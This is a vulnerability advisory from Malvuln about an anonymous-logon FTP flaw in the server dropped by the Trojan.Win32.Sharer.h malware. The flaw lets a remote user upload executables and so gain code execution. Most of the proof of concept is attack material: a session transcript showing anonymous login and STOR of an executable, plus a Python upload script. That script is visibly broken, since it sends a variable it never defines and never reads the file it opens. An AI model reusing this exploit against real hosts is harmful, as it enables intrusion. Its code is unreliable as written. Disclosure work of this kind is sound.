Trojan.Win32.Sharer.h / Anonymous Logon RCE

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Trojan.Win32.Sharer.h Vulnerability: Anonymous Logon RCE Description: Sharer.h by GOLDSWORD - can run several types of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Attackers may then upload executables using PASV, STOR commands, this can result in remote code execution. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work. Type: PE32 MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551 Vuln ID: MVID-2021-0158 Dropped files: FtpServer.exe Disclosure: 04/03/2021 Exploit/PoC: TELNET x.x.x.x 21 220 ─πY╙╓└┤┴╦!!! USER anonymous 331 Password required for anonymous PASS malvuln 230 User successfully logged in. SYST 215 UNIX emulated by Pablo's FTP Server. PASV 227 Entering Passive Mode (192,168,88,128,202,32). STOR DOOM.exe 150 Opening BINARY mode data connection for file transfer. 226 Transfer complete from socket import * MALWARE_HOST="" PORT=51744 #202*256+32 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = s.send(EXE) while EXE: s.send(EXE) s.close() print("Trojan.Win32.Sharer.h / Anonymous Logon RCE") print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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